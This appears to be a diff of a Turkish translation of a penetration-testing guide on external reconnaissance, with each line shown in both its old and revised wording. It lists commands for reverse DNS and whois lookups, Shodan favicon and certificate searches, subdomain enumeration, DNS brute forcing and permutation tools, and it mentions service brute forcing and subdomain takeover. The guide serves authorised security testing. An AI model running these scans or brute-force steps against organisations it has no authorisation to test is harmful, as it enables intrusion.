**Ayrıca, varsayılan kullanıcı adı** ve **şifre listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force deneyebilirsiniz. **Ayrıca, varsayılan kullanıcı adı** ve **şifre listeleri hazırlayabilir ve [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force **edebilirsiniz.**
## Alanlar ## Alanlar
@ -88,7 +88,7 @@ _Lütfen, önerilen tekniklerde alt alanlar da bulabileceğinizi unutmayın ve b
### **Ters DNS** ### **Ters DNS**
Alanların tüm IP aralıklarını bulduğunuzda, bu IP'ler üzerinde **daha fazla alan bulmak için ters DNS sorguları** yapmaya çalışabilirsiniz. Kurbanın DNS sunucusunu veya bazı tanınmış DNS sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın. Alanların tüm IP aralıklarını bulduğunuzda, bu IP'ler üzerinde **ters DNS aramaları** yaparak kapsamdaki daha fazla alanı bulmaya çalışabilirsiniz. Kurbanın DNS sunucusunu veya bazı tanınmış DNS sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın.
```bash ```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -100,16 +100,16 @@ Bu bilgiyi almak için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrar
### **Ters Whois (döngü)** ### **Ters Whois (döngü)**
**Whois** içinde **kuruluş adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlık** bulabilirsiniz eğer bu alanlardan herhangi biriyle **ters whois aramaları yaparsanız** (örneğin aynı e-posta adresinin göründüğü diğer whois kayıtları).\ **Whois** içinde **organizasyon adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlıkı bulabilirsiniz** eğer bu alanlardan herhangi biriyle **ters whois aramaları yaparsanız** (örneğin aynı e-posta adresinin göründüğü diğer whois kayıtları).\
Çevrimiçi araçlar kullanabilirsiniz: Çevrimiçi araçlar kullanabilirsiniz:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz** * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil. * [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretli * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretli (sadece **100 ücretsiz** arama) * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz değil (sadece **100 ücretsiz** arama)
* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretli * [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz değil
Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink)(whoxy API anahtarı gerektirir) kullanarak otomatikleştirebilirsiniz.\ Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink)(whoxy API anahtarı gerektirir) kullanarak otomatikleştirebilirsiniz.\
Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi yapabilirsiniz: `amass intel -d tesla.com -whois` Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi yapabilirsiniz: `amass intel -d tesla.com -whois`
@ -118,7 +118,7 @@ Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi y
### **İzleyiciler** ### **İzleyiciler**
Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın** de **aynı ekip tarafından yönetildiğini** varsayabilirsiniz.\ Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın da aynı ekibin tarafından yönetildiğini** varsayabilirsiniz.\
Örneğin, birkaç sayfada aynı **Google Analytics kimliğini** veya aynı **Adsense kimliğini** görürseniz. Örneğin, birkaç sayfada aynı **Google Analytics kimliğini** veya aynı **Adsense kimliğini** görürseniz.
Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve araçlar bulunmaktadır: Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve araçlar bulunmaktadır:
@ -131,20 +131,20 @@ Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve
### **Favicon** ### **Favicon**
Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi karmasını arayarak bulabileceğimizi biliyor muydunuz? İşte bunu yapan [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracı, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılmıştır. Kullanımı: Hedefimize ait ilgili alan adlarını ve alt alanları aynı favicon ikonu karmasını arayarak bulabileceğimizi biliyor muydunuz? İşte bunu yapabilen [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracı, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılmıştır. Kullanımı:
```bash ```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
``` ```
![favihash - aynı favicon ikonu hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) ![favihash - aynı favicon ikonu hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alanları keşfetme imkanı sağlayacak. Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alanları keşfetme imkanı sağlayacaktır.
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Bu, yani **zayıf bir web teknolojisinin favicon'unun hash'ini biliyorsanız**, shodan'da arama yapabilir ve **daha fazla zayıf nokta bulabilirsiniz**: Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Bu, yani eğer bir web teknolojisinin savunmasız bir sürümünün favicon'unun hash'ini biliyorsanız, shodan'da arayabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
İşte bir web sitesinin **favicon hash'ini hesaplamanın** yolu: Web sitesinin favicon hash'ini hesaplamanın yolu şöyledir:
```python ```python
import mmh3 import mmh3
import requests import requests
@ -159,7 +159,7 @@ return fhash
``` ```
### **Telif Hakkı / Benzersiz dize** ### **Telif Hakkı / Benzersiz dize**
Aynı kuruluş içinde farklı web siteleri arasında paylaşılabilecek dizeleri araştırın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **Google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"` Aynı kuruluşun farklı web siteleri arasında paylaşılabilecek dizeleri aramak için web sayfalarının içinde **dizeleri arayın**. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **Google'da**, diğer **tarayıcılarda** hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"`
### **CRT Zamanı** ### **CRT Zamanı**
@ -168,46 +168,41 @@ Genellikle şu gibi bir cron işi olması yaygındır:
# /etc/crontab # /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
``` ```
### **Harici Keşif Metodolojisi**
Sunucudaki tüm alan adı sertifikalarını yenilemek için. Bu, bunun için kullanılan CA'nın Oluşturulma Zamanını Geçerlilik süresinde belirlemediği durumlarda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmak mümkündür**.\
Daha fazla bilgi için bu [**makaleye göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### **Pasif Ele Geçirme** ### **Pasif Ele Geçirme**
Görünüşe göre insanların, bulut sağlayıcılara ait IP'lerine alt alan adlarını atadıkları ve bir noktada **o IP adresini kaybettiklerini ancak DNS kaydını kaldırmayı unuttuklarını** sıkça yapmaları yaygındır. Bu nedenle, sadece bir bulutta (örneğin Digital Ocean) bir VM oluşturarak aslında **bazı alt alan adlarını ele geçireceksiniz**. Görünüşe göre insanlar, alt alan adlarını bulut sağlayıcılarına ait IP'lerle ilişkilendirir ve bir noktada **o IP adresini kaybederler ancak DNS kaydını kaldırmayı unuturlar**. Bu nedenle, sadece bir bulutta (örneğin Digital Ocean) bir VM oluşturarak aslında **bazı alt alan adlarını ele geçirebilirsiniz**.
[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikayeyi açıklar ve **DigitalOcean'da bir VM oluşturan**, yeni makinenin **IPv4**'ünü **alıp**, ve ona işaret eden alt alan adı kayıtlarını **Virustotal'da arayan** bir betik önerir. [**Bu yazıda**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatılıyor ve yeni makinenin **IPv4**'ünü alarak Virustotal'de ona işaret eden alt alan adı kayıtlarını **aramak için bir betik öneriliyor**.
### **Diğer Yöntemler** ### **Diğer Yöntemler**
**Bu tekniği kullanarak her yeni alan adı bulduğunuzda daha fazla alan adı keşfedebileceğinizi unutmayın.** **Unutmayın ki bu tekniği kullanarak her yeni alan adı bulduğunuzda daha fazla alan adı keşfedebilirsiniz.**
**Shodan** **Shodan**
IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu verilerle shodan'da şuna benzer bir arama yapabilirsiniz: `org:"Tesla, Inc."` TLS sertifikasında yeni beklenmeyen alan adlarını kontrol edin. IP alanını sahip olan kuruluşun adını zaten biliyorsunuz. Bu verilerle shodan'da şu şekilde arama yapabilirsiniz: `org:"Tesla, Inc."` Bulunan ana bilgisayarlarda TLS sertifikasında yeni beklenmeyen alan adlarını kontrol edin.
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları içinde bu adı arayabilirsiniz**. Filtre olarak: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
**Assetfinder** **Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder), ana alan adıyla ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici. [**Assetfinder**](https://github.com/tomnomnom/assetfinder), ana alan adı ile ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici.
### **Zaafiyet Arayışı** ### **Zaafiyet Arayışı**
Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Eğer uygunsa kaydedin ve şirkete bildirin. Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ancak **sahipliğini kaybetmiş**. Eğer uygunsa kaydedin ve şirkete bildirin.
Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip olan herhangi bir **alan adını** bulursanız, temel bir güvenlik açığı taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, onları "saldırmak" için bu kitapta bazı ipuçları bulabilirsiniz.\ Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip **alan adı bulursanız**, temel bir güvenlik açığı taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, onları "saldırmak" için bu kitapta bazı ipuçları bulabilirsiniz.\
_Bazen alan adının müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda olmayabilir, dikkatli olun._ _Unutmayın ki bazen alan adı, müşteri tarafından kontrol edilmeyen bir IP içinde barındırılmış olabilir, bu nedenle kapsamda olmayabilir, dikkatli olun._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**! **Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformuna**! Bugün bize katılın ve [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden **100.000 $'a kadar ödüller kazanmaya başlayın**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## Alt Alan Adlar ## Alt Alan Adlar
> Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz. > Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilişkili tüm alan adlarını biliyoruz.
Her bulunan alan adının tüm olası alt alan adlarını bulma zamanı geldi. Her bulunan alan adının tüm olası alt alan adlarını bulma zamanı geldi.
@ -268,7 +263,7 @@ vita -d tesla.com
```bash ```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
``` ```
**Alt alan adlarını bulmaya doğrudan uzmanlaşmamış olsa da**, alt alan adlarını bulmada faydalı olabilecek **diğer ilginç araçlar/API'ler** bulunmaktadır, örneğin: **Alt alan adlarını bulmaya doğrudan uzmanlaşmamış olsa da** alt alan adlarını bulmada faydalı olabilecek **diğer ilginç araçlar/API'ler** bulunmaktadır, örneğin:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır
```bash ```bash
@ -305,7 +300,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs # Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u gau --subs tesla.com | cut -d "/" -f 3 | sort -u
``` ```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'i tarayarak JS dosyalarını arar ve oradan alt alan adlarını çıkarırlar. * [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **ve** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'de JS dosyalarını tarar ve oradan alt alan adlarını çıkarır.
```bash ```bash
# Get only subdomains from SubDomainizer # Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -330,14 +325,14 @@ python3 censys-subdomain-finder.py tesla.com
```bash ```bash
python3 DomainTrail.py -d example.com python3 DomainTrail.py -d example.com
``` ```
* [**securitytrails.com**](https://securitytrails.com/) ücretsiz bir API'ye sahiptir ve alt alan adları ile IP geçmişini aramanıza olanak tanır. * [**securitytrails.com**](https://securitytrails.com/) ücretsiz bir API'ye sahiptir ve alt alan adları ile IP geçmişini aramak için kullanılabilir.
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak sunar**. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsamı da erişebilirsiniz [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak sunmaktadır**. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsama [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) üzerinden erişebilirsiniz.
Bu araçların bir **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) Bu araçların bir **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS Kaba Kuvvet Saldırısı** ### **DNS Kaba Kuvvet**
Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvetle tarayarak yeni **alt alan adları** bulmaya çalışalım. Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvetle tarayarak yeni **alt alan adları** bulmaya çalışalım.
@ -349,11 +344,11 @@ Bu işlem için bazı **ortak alt alan adı kelime listelerine** ihtiyacınız o
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Ve ayrıca iyi DNS çözücülerin IP'leri. Güvenilir DNS çözücülerinin bir listesini oluşturmak için çözücüleri [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da şu adresten yararlanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) Ayrıca iyi DNS çözücülerin IP'leri de gereklidir. Güvenilir DNS çözücüler listesi oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözücüleri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) adresini kullanabilirsiniz.
DNS kaba kuvvet için en çok önerilen araçlar: DNS kaba kuvvet için en çok önerilen araçlar:
* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet saldırısı gerçekleştiren ilk araçtı. Çok hızlı olmasına rağmen yanlış pozitiflere duyarlıdır. * [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet gerçekleştiren ilk araçtır. Çok hızlıdır ancak yanlış pozitiflere duyarlıdır.
```bash ```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -363,7 +358,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
``` ```
gobuster dns -d mysite.com -t 50 -w subdomains.txt gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını numaralandırmanıza ve joker işareti işleme ve kolay giriş-çıkış desteği ile alt alan adlarını çözmenize olanak tanıyan go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır. * [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alanları numaralandırmanıza ve joker karakterleri ele alarak alt alanları çözmenize olanak tanıyan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır ve kolay giriş-çıkış desteği sağlar.
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
@ -379,31 +374,31 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
ık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarını kullanarak, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır: ık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarını kullanarak, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adlarını verilerek permütasyonlar oluşturur.
```bash ```bash
cat subdomains.txt | dnsgen - cat subdomains.txt | dnsgen -
``` ```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. * [**goaltdns**](https://github.com/subfinder/goaltdns): Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur.
* goaltdns permutasyonlarını [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz. * goaltdns permutasyonlarını **wordlist**'i [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
```bash ```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
``` ```
* [**gotator**](https://github.com/Josue87/gotator)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. Eğer permutasyon dosyası belirtilmemişse, gotator kendi dosyasını kullanacaktır. * [**gotator**](https://github.com/Josue87/gotator)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. Permutasyonlar dosyası belirtilmemişse, gotator kendi dosyasını kullanacaktır.
``` ```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
``` ```
* [**altdns**](https://github.com/infosec-au/altdns): Alt alan adı permütasyonları oluşturmanın yanı sıra bunları çözmeye de çalışabilir (ancak önceki yorumlanmış araçları kullanmak daha iyidir). * [**altdns**](https://github.com/infosec-au/altdns): Alt alan adı permütasyonları oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak önceki yorumlanmış araçları kullanmak daha iyidir).
* altdns permütasyonları **wordlist**'ini [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz. * altdns permütasyonları **wordlist**'ini [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz.
``` ```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
* [**dmut**](https://github.com/bp0lr/dmut): Alt alan adlarının permutasyonlarını, mutasyonlarını ve değişikliklerini gerçekleştirmek için başka bir araç. Bu araç sonucu kaba kuvvet uygulayacaktır (dns joker karakterini desteklemez). * [**dmut**](https://github.com/bp0lr/dmut): Alt alan adlarının permutasyonlarını, mutasyonlarını ve değişikliklerini gerçekleştirmek için başka bir araç. Bu araç sonucu kaba kuvvet uygulayacaktır (dns joker karakterini desteklemez).
* dmut permutasyon kelime listesini [**buradan**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) alabilirsiniz. * dmut permutasyon kelime listesine [**buradan**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) ulaşabilirsiniz.
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, daha fazla alt alan adı keşfetmek için belirtilen desenlere dayalı olarak **yeni potansiyel alt alan adı adları oluşturur**. * [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, daha fazla alt alan adını keşfetmek için belirtilen desenlere dayalı olarak yeni potansiyel alt alan adı adları oluşturur.
#### Akıllı permütasyon oluşturma #### Akıllı permütasyon oluşturma
@ -413,13 +408,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid puredns resolve adobe.brute --write adobe.valid
``` ```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak basit bir DNS yanıt rehberli algoritması ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak, daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek ve DNS taraması sırasında toplanan bilgilere dayanarak bunları daha da genişletmek için bir döngüde kullanır. * [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak son derece basit bir DNS yanıt rehberli algoritmayla birleştirilmiş bir alt alan kaba kuvvet fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak, daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek ve DNS taraması sırasında toplanan bilgilere dayanarak bunları daha da genişletmek için bir döngüde kullanır.
``` ```
echo www | subzuf facebook.com echo www | subzuf facebook.com
``` ```
### **Alt Alan Adı Keşfi İş Akışı** ### **Alt Alan Adı Keşfi İş Akışı**
Bu blog yazımı kontrol et, burada bir alan adından **alt alan adı keşfini otomatikleştirmenin** nasıl yapıldığına dair **Trickest iş akışları** kullanarak bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmayacak: **Trickest iş akışlarını** kullanarak bir alan adından **alt alan adı keşfini otomatikleştirmenin** nasıl yapıldığı hakkında yazdığım blog yazısını kontrol et, böylece bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmaz:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -427,15 +422,15 @@ Bu blog yazımı kontrol et, burada bir alan adından **alt alan adı keşfini o
### **VHosts / Sanal Sunucular** ### **VHosts / Sanal Sunucular**
